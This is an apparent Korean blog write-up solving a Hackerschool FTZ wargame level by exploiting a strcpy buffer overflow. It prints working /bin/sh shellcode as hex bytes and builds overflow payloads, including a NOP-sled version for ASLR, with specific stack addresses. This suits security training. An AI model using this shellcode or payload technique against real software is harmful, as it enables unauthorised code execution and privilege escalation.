1. 문제
소스 코드를 보면 strcpy 시 bof가 발생한다.
따라서 쉘 코드를 삽입하고 ret 전까지를 dummy 값으로 채운 뒤 리턴 해주면 될 듯하다.
2. 문제 해결 과정
앞에서 예측한 대로 페이로드는 다음과 같을 것이다.
payload = shellcode(41 byte) + dummy + str의 시작 주소
따라서 버퍼와 ret 까지의 offset을 구해보자.
그때의 esp는 return address를 가르키고 있다.
그때의 eax에는 버퍼의 시작 주소가 들어가있다.
shellcode : \x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
따라서 다음과 같이 페이로드를 작성하고 익스하였는데, segmentation falut가 발생하였다.
shellcode(41byte) + 227*A + \x28\xf0\xff\bf
그래서 다시 디버깅을 해보니까 할때마다 주소들이 다르게 나왔다.
aslr이 적용된 것 같다. 그래서 nop을 줘서 다시 페이로드를 작성해보기로 했다.
ret 전까지를 모두 더미값으로 채우고
뒤에 쉘코드를 넣고, 쉘코드 앞에 nop을 0x1000만큼 주었다.
그리고 ret에는 argv[1]+0x500에 해당하는 주소를 넣었다.
다시 짠 페이로는 다음과 같다.
"A"*268 + (0xbffff528) + "\x90"*0x1000 + shellcode(41 byte)
"\x90"*227 + shellcode + ret(buf or argv[1])
argv[1] : 0xbfffec28
buf : 0xbfffead0
argv[1] : 0xbffff028
'Wargame > Hackerschool FTZ' 카테고리의 다른 글
[FTZ] 해커스쿨 FTZ level 13 (0) | 2021.04.12 |
---|---|
[FTZ] 해커스쿨 FTZ level 12 (0) | 2021.04.12 |
[FTZ] 해커스쿨 FTZ level 10 (0) | 2021.03.26 |
[FTZ] 해커스쿨 FTZ level 9 (0) | 2021.03.26 |
[FTZ] 해커스쿨 FTZ level 8 (0) | 2021.03.23 |